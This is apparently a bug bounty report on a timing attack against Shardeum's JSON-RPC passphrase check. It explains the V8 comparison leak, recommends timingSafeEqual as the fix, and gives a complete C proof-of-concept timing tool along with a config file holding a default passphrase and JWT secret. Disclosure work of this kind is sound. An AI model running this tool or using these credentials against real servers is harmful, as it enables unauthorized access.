Malicious interactions with an already-connected wallet, such as: Modifying transaction arguments or parameters, Substituting contract addresses, Submitting malicious transactions
Improperly disclosing confidential user information, such as: Email address, Phone number, Physical address, etc.
Retrieve sensitive data/files from a running server, such as: /etc/shadow, database passwords, blockchain keys (this does not include non-sensitive environment variables, open source code, or usernames)
Description
Overview
There is a vulnerability in Shardeum's JSON-RPC implementation. In particular, it uses an unsafe comparison to validate the user-provided password against a hardcoded password from a config file.
The unsafe comparison has a timing leak that allows for password recovery via a classic timing attack (https://en.wikipedia.org/wiki/Timing_attack). An unprivileged attacker can exploit this vulnerability to recover the JSON-RPC password.
The attack does not require any previous knowledge of the password, and is available to a completely unauthenticated attacker. However it relies on being able to gather accurate timing measurements from the server.
Viable attack conditions include an attacker VM that is colocated with the victim VM in an AWS cluster, two servers that are in the same data centre, a compromised machine on the same network where the JSON-RPC server runs, and so on...
Impact
The impact is that an unauthenticated user can recover the RPC password. It falls under the impact category of
Retrieve sensitive data/files from a running server, such as: /etc/shadow, database passwords, blockchain keys (this does not include non-sensitive environment variables, open source code, or usernames)
Root Cause
The root cause is the use of a timing-unsafe comparison in the Typescript implementation of the RPC server. The vulnerability is located in the file json-rpc-server/src/routes/authenticate.ts. We find it at line marked with an [a]:
router.route('/:passphrase').get(async function (req: Request, res: Response) {
const { passphrase } = req.params
const payload = { user: 'shardeum-dev' }
if (passphrase === CONFIG.passphrase) { [a]
// token don't expire, usually this is bad practice
// for the case being implementing refresh token is overkill
// stolen token worst case scenario our debug data ended up being not useful.
const token = jwt.sign(payload, CONFIG.secret_key)
res.cookie('access_token', token, {
httpOnly: false,
maxAge: 1000 * 60 * 60 * 700, // ~ a month
})
return res.send({ token: token, message: 'authenticated and authorized for debug api calls' }).status(200)
}
return res.send({ message: 'wrong passphrase' }).status(400)
})
JSON-RPC runs on a Node.js server that is powered by Google's v8 Javascript engine internally. To understand the characteristics of the timing we are going to attack, we analyze the V8-function String::SlowEquals():
From https://github.com/v8/v8/blob/feca1316d786a4314b1f09930f7687a5d18649a9/src/objects/string.cc#L1084:
bool String::SlowEquals(
Tagged<String> other,
const SharedStringAccessGuardIfNeeded& access_guard) const {
DisallowGarbageCollection no_gc;
// Fast check: negative check with lengths.
int len = length();
if (len != other->length()) return false; [b]
if (len == 0) return true;
// redacted for simplicity
// We know the strings are both non-empty. Compare the first chars
// before we try to flatten the strings.
if (this->Get(0, access_guard) != other->Get(0, access_guard)) return false; [c]
// redacted for simplicity
StringComparator comparator;
return comparator.Equals(this, other, access_guard); [d]
}
On line [b] the length of the user-provided password is compared against the length of the RPC password. V8 will return early if they mismatch. Here, an attacker can measure whether their input password has the same length as the RPC password by measuring the time it takes for the server to respond.
After that, on line [c] the Javascript engine will check the first character of the user-provided password against the first character of the RPC password. An attacker can try every possible character and measure whether the first character matches the first character of the RPC password, thereby recover the first character of the RPC password.
After that, on line [d], the Javascript engine uses a StringComparator object which will compare the two strings one character at a time. By measuring the timing it takes for the server to respond, the attacker can guess and bruteforce the RPC password one character at a time. This is the classic timing attack that can recover the password one character at a time:
From https://github.com/v8/v8/blob/78c8a81546e63c87304998b98b831ba2ad991e31/src/objects/string-comparator.cc#L49:
At line [e] is where the loop breaks on the first mismatched character. This is what lets us recover the password one character at a time.
Fix
For more information about how to use timing-safe comparison functions, see the discussion in thread: https://stackoverflow.com/questions/31095905/whats-the-difference-between-a-secure-compare-and-a-simple
In particular, Node.js supports the following API: https://nodejs.org/dist/latest-v6.x/docs/api/crypto.html#crypto_crypto_timingsafeequal_a_b
To fix the vulnerability, the JSON-RPC should use crypto.timingSafeEqual() API when comparing the two passwords.
Proof of concept
Proof of Concept
To get good timing measurements, we wrote an attacker tool in C. This can be compiled with the following command:
gcc -o attack attack.c && ./attack
Here is the source-code file attack.c:
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <time.h>
#include <fcntl.h>
struct hostent *hp;
bool verbose = false;
int sock;
int init() {
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
if (verbose) perror("socket creating error");
return -1;
}
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(3000);
memcpy(&addr.sin_addr, hp->h_addr, hp->h_length);
if (verbose) printf("connecting\n");
int rc = connect(sock, (const struct sockaddr *) &addr, sizeof(addr));
if (rc != 0) {
if (verbose) printf("failed to connect\n");
close(sock);
return -2;
}
if (verbose) printf("connected!\n");
return 0;
}
signed long send_and_measure_inner(const char* password) {
char buf[256];
sprintf(buf, "GET /authenticate/%s HTTP/1.1\r\n\r\n", password);
int i;
struct timespec tp1, tp2;
for (i=0; i<1; i++) {
//printf("%s\n", buf);
if (send(sock, buf, strlen(buf), 0) <= 0) {
printf("send fail\n");
close(sock);
return -3;
}
static char r[2048];
clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &tp1);
if (recv(sock, &r, sizeof r, 0) <= 0) {
printf("read fail\n");
return -6;
}
//printf("%s\n", r);
clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &tp2);
if (verbose) printf("resp %s %d\n", password, tp2.tv_nsec - tp1.tv_nsec);
}
return tp2.tv_nsec - tp1.tv_nsec;
}
signed long send_and_measure(const char* password) {
signed long ret = -1;
while (ret < 0) {
ret = send_and_measure_inner(password);
}
return ret;
}
#define NUM 10000
typedef struct {
signed long max;
signed long min;
signed long accum;
signed long data[NUM];
} measurements_t;
int compar(const void* a, const void* b) {
return (*(signed long*)a) - *(signed long*)b;
}
#define MMNUM 4
measurements_t m[MMNUM];
void measure(const char* password, int m_idx, int data_idx) {
signed long mm = send_and_measure(password);
if (mm > m[m_idx].max) m[m_idx].max = mm;
if (mm < m[m_idx].min) m[m_idx].min = mm;
m[m_idx].accum += mm;
m[m_idx].data[data_idx] = mm;
}
signed long avg(unsigned long* start, int num) {
signed long sum = 0;
int i;
for(i=0; i<num; i++) sum += *(start++);
return sum/num;
}
void summary(const char* password, int m_idx) {
qsort(&m[m_idx].data, NUM, sizeof(signed long), compar);
printf("%s %ld %ld %ld %ld %ld\n", password, m[m_idx].min, m[m_idx].max, m[m_idx].accum/NUM, m[m_idx].data[NUM/2], avg(&m[m_idx].data[NUM/2-100], 2*100));
}
int main(int argc, char ** argv) {
hp = gethostbyname("localhost");
if (init())
return 1;
int i;
for(i=0; i<MMNUM; i++) m[i].min = 0xffffffff;
for(i=0; i<MMNUM; i++) m[i].max = 0;
for(i=0; i<MMNUM; i++) m[i].accum = 0;
srand(time(NULL));
int k;
for(k=0; k<32; k++){
for(i=0; i<NUM; i++) {
bool done[4] = { false, false, false, false };
while (1) {
int a = rand() % 4;
if (done[a]) continue;
switch (a) {
case 0: measure("xxxxxxxx", 0, i); break;
case 1: measure("sxxxxxxx", 1, i); break;
case 2: measure("sha4xxxx", 2, i); break;
case 3: measure("sha4d3ux", 3, i); break; }
done[a] = true;
if (done[0] && done[1] && done[2] && done[3]) break;
}
}
summary("xxxxxxxx", 0);
summary("sxxxxxxx", 1);
summary("sha4xxxx", 2);
summary("sha4d3ux", 3);
}
return 0;
}
The attack was run against a minimized test environment where the relevant parts have been lifted from the JSON-RPC project: src/index.ts:
// src/index.ts
import express, { Express, Request, Response } from "express";
import dotenv from "dotenv";
import { router as authenticate } from './routes/authenticate'
dotenv.config();
const app: Express = express();
const port = process.env.PORT || 3000;
app.use('/authenticate', authenticate);
app.get("/", (req: Request, res: Response) => {
res.send("Express + TypeScript Server");
});
app.listen(port, () => {
console.log(`[server]: Server is running at http://localhost:${port}`);
});
src/config.ts:
type Config = {
passphrase: string
secret_key: string
}
export const CONFIG: Config = {
passphrase: process.env.PASSPHRASE || 'sha4d3um', // this is to protect debug routes
secret_key: process.env.SECRET_KEY || 'YsDGSMYHkSBMGD6B4EmD?mFTWG2Wka-Z9b!Jc/CLkrM8eLsBe5abBaTSGeq?6g?P', // this is the private key that rpc server will used to sign jwt token
}
src/routes/autheticate.ts:
import express from 'express'
export const router = express.Router()
import { CONFIG } from '../config'
import { Request, Response } from 'express'
router.route('/:passphrase').get(async function (req: Request, res: Response) {
const { passphrase } = req.params
if (passphrase === CONFIG.passphrase) {
return res.send({ message: 'authenticated and authorized for debug api calls' }).status(200)
}
return res.send({ message: 'wrong passphrase' }).status(400)
})
The PoC will connect to the RPC server at localhost port 3000 and start a timing attack. The password for the RPC server in the demo was configured to be the default password, "sha4d3um".
Running this attack we get the following timing measurements:
The columns are as follows attempted password | minimum measured time | maximum measured time | avg measured time | median measured time | averaged median measured time. Only the first two columns are necessary to recover the password.
As can be seen in the data, it takes some time for the server to stabilize before it can give us a good measurement. Here's the last few measurements made by the attacker program:
You can see that the measured time for "xxxxxxxx" is 4797, which is a completely wrong password. But if you guess the 1st letter correctly, the timing will increase to 4902. If you guess additional correct characters, the timing will change again to 4972. And so on... By iterating this process, you can recover the full password one character at a time.
See the attached picture to see a "staircase" graph showing the timing issue. The staircase marked in red shows that the measured timing increases the more characters are guessed correctly.